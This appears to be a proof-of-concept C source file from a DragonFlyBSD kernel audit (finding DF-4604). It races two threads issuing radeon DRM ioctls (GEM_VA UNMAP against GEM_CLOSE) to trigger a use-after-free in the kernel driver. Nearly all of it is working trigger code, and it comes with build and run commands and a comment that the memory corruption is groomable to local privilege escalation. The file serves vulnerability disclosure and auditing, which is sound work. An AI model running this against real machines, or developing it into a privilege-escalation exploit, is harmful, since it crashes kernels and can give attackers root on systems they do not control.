⬢ DragonFlyBSD Kernel Audit
DF-4604 / radeon_va_uaf.c
← back to finding ↓ download raw
/*
 * DF-4604 - radeon_gem_va_ioctl bo_va use-after-free trigger
 * -----------------------------------------------------------
 * Race: thread A issues DRM_IOCTL_RADEON_GEM_VA (UNMAP) while thread B
 * (same DRM fd => same file_priv/radeon_fpriv/vm) issues DRM_IOCTL_GEM_CLOSE
 * on the same GEM handle.
 *
 * Kernel path (sys/dev/drm/radeon):
 *   A: radeon_gem_va_ioctl()          radeon_gem.c:671  reserve rbo
 *      radeon_vm_bo_find()            radeon_gem.c:677  bo_va (lifetime
 *                                                          guaranteed ONLY by
 *                                                          the reservation)
 *      radeon_vm_bo_set_addr(0,0)     radeon_gem.c:696  UNRESERVES rbo
 *                                     internally (radeon_vm.c:538/:581)
 *      radeon_gem_va_update_vm(bo_va) radeon_gem.c:702  *** WINDOW OPEN ***
 *          bo_va->bo  deref          radeon_gem.c:565
 *          bo_va->vm  deref          radeon_gem.c:569
 *          ttm_eu_reserve_buffers()   radeon_gem.c:573
 *          bo_va->vm->mutex lock      radeon_gem.c:585
 *          bo_va->it.start read       radeon_gem.c:590
 *
 *   B: DRM_IOCTL_GEM_CLOSE -> drm_gem_handle_delete (drm_gem.c:336)
 *      -> radeon_gem_object_close()   radeon_gem.c:193  reserve rbo
 *                                                          (succeeds in the
 *                                                          window above)
 *      -> --bo_va->ref_count == 0     radeon_gem.c:201
 *      -> radeon_vm_bo_rmv()          radeon_gem.c:202
 *      -> kfree(bo_va)                radeon_vm.c:1137  (UNMAP case:
 *                                                          it.start==0 =>
 *                                                          immediate free)
 *
 * On success (i.e. on real Cayman-or-newer radeon hardware) this corrupts
 * freed kernel memory from radeon_gem_va_update_vm(); expected symptom is a
 * kernel panic in ttm_eu_reserve_buffers / radeon_vm_bo_update / mutex
 * machinery, or silent memory corruption groomable to LPE.
 *
 * Self-contained: vendors the small slice of the radeon/drm UAPI needed, so
 * it builds against a bare DragonFly/FreeBSD/Linux userland without drm
 * headers.
 *
 * Build:  cc -O2 -pthread -o radeon_va_uaf radeon_va_uaf.c
 * Run:    ./radeon_va_uaf [/dev/dri/card0|/dev/dri/renderD128] [iters]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#if defined(__linux)
#include <sys/ioctl.h>
#else /* BSD: DragonFly/FreeBSD */
#endif

/* ---- vendored UAPI (mirrors sys/dev/drm/include/uapi/drm/{drm,radeon_drm}.h) ---- */
typedef unsigned int u32_v;
typedef unsigned long long u64_v;

#define DRM_IOCTL_BASE 'd'
#define DRM_COMMAND_BASE 0x40

struct drm_radeon_gem_create {
	u64_v size;
	u64_v alignment;
	u32_v handle;
	u32_v initial_domain;
	u32_v flags;
};

struct drm_radeon_gem_va {
	u32_v handle;
	u32_v operation;
	u32_v vm_id;
	u32_v flags;
	u64_v offset;
};

struct drm_gem_close {
	u32_v handle;
	u32_v pad;
};

#define RADEON_GEM_DOMAIN_CPU 0x1
#define RADEON_GEM_DOMAIN_GTT 0x2
#define RADEON_GEM_DOMAIN_VRAM 0x4

#define RADEON_VA_MAP    1
#define RADEON_VA_UNMAP  2
#define RADEON_VA_RESULT_OK     0
#define RADEON_VA_RESULT_ERROR  1
#define RADEON_VA_RESULT_VA_EXIST 2

#define DRM_RADEON_GEM_CREATE_NR 0x1d
#define DRM_RADEON_GEM_VA_NR     0x2b

#define IOCTL_RADEON_GEM_CREATE \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_GEM_CREATE_NR, struct drm_radeon_gem_create)
#define IOCTL_RADEON_GEM_VA \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_GEM_VA_NR, struct drm_radeon_gem_va)
#define IOCTL_DRM_GEM_CLOSE \
	_IOW(DRM_IOCTL_BASE, 0x09, struct drm_gem_close)

/* ---- race harness ---- */

#define RADEON_VA_RESERVED_SIZE (8ULL << 20)
#define MAP_BASE (1ULL << 32)	/* any address > reserved, GPU-page aligned */

static int drm_fd = -1;
static volatile u32_v cur_handle;
static volatile int phase;	/* 0=idle, 1=A mapping, 2=race armed, 3=done */
static pthread_barrier_t bar;
static unsigned long iterations = 20000;
static unsigned long hits, a_wins, b_wins;

static void *threadB(void *arg)
{
	unsigned long i;

	for (i = 0; i < iterations; i++) {
		struct drm_gem_close gc;

		/* wait until A has mapped and is about to UNMAP */
		while (phase != 2)
			;
		memset(&gc, 0, sizeof(gc));
		gc.handle = cur_handle;
		/*
		 * This close blocks on radeon_bo_reserve() while A still owns
		 * the reservation inside radeon_vm_bo_set_addr(); the moment
		 * set_addr internally unreserves (radeon_vm.c:538), we are
		 * woken, find bo_va, drop ref_count 1->0 and kfree(bo_va)
		 * (radeon_vm.c:1137) while A is on its way to
		 * radeon_gem_va_update_vm(rdev, bo_va)  radeon_gem.c:702.
		 */
		if (ioctl(drm_fd, IOCTL_DRM_GEM_CLOSE, &gc) == 0)
			b_wins++;
		else
			hits++;	/* closed late/early: handle already gone */
		phase = 3;
	}
	return NULL;
}

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/card0";
	pthread_t tb;
	unsigned long i;

	if (argc > 2)
		iterations = strtoul(argv[2], NULL, 0);

	drm_fd = open(node, O_RDWR);
	if (drm_fd < 0) {
		int fd2 = open("/dev/dri/renderD128", O_RDWR);
		if (fd2 < 0) {
			printf("SKIP: cannot open %s (or renderD128): %s\n",
			       node, strerror(errno));
			printf("SKIP: no DRM device on this machine - "
			       "this trigger requires radeon KMS hardware "
			       "(Cayman or newer, vm_manager enabled).\n");
			return 3;
		}
		drm_fd = fd2;
	}

	if (pthread_barrier_init(&bar, NULL, 2) != 0)
		return 2;
	if (pthread_create(&tb, NULL, threadB, NULL) != 0)
		return 2;

	for (i = 0; i < iterations; i++) {
		struct drm_radeon_gem_create gc;
		struct drm_radeon_gem_va va;
		u64_v off = MAP_BASE + ((u64_v)(i & 0xffff) << 12);

		memset(&gc, 0, sizeof(gc));
		gc.size = 4096;
		gc.alignment = 0;
		gc.initial_domain = RADEON_GEM_DOMAIN_VRAM |
				    RADEON_GEM_DOMAIN_GTT;
		if (ioctl(drm_fd, IOCTL_RADEON_GEM_CREATE, &gc) || !gc.handle) {
			fprintf(stderr, "iter %lu: GEM_CREATE failed: %s\n",
				i, strerror(errno));
			break;
		}
		cur_handle = gc.handle;

		/* MAP (also exercises the window; UNMAP below is the clean
		 * immediate-kfree variant) */
		phase = 1;
		memset(&va, 0, sizeof(va));
		va.handle = gc.handle;
		va.operation = RADEON_VA_MAP;
		va.vm_id = 0;
		va.flags = 0x2 | 0x4;	/* READABLE|WRITEABLE (VALID/SYSTEM banned) */
		va.offset = off;
		if (ioctl(drm_fd, IOCTL_RADEON_GEM_VA, &va)) {
			if (errno == ENOTTY) {
				fprintf(stderr, "VM manager not enabled "
					"(need Cayman+ accel working)\n");
				goto out;
			}
			fprintf(stderr, "iter %lu: VA MAP failed: %s\n",
				i, strerror(errno));
			goto out;
		}

		/* arm the race: B starts closing NOW; A immediately UNMAPs */
		phase = 2;

		memset(&va, 0, sizeof(va));
		va.handle = gc.handle;
		va.operation = RADEON_VA_UNMAP;
		va.vm_id = 0;
		va.flags = 0;
		va.offset = 0;
		if (ioctl(drm_fd, IOCTL_RADEON_GEM_VA, &va) == 0)
			a_wins++;
		while (phase != 3)
			;
	}
out:
	phase = 3;
	pthread_join(tb, NULL);
	printf("done: iters=%lu va_ok=%lu close_ok=%lu close_err=%lu\n",
	       iterations, a_wins, b_wins, hits);
	printf("If the kernel survived, watch for panics in "
	       "ttm_eu_reserve_buffers/radeon_vm_bo_update and run with "
	       "WITNESS/INVARIANTS.\n");
	return 0;
}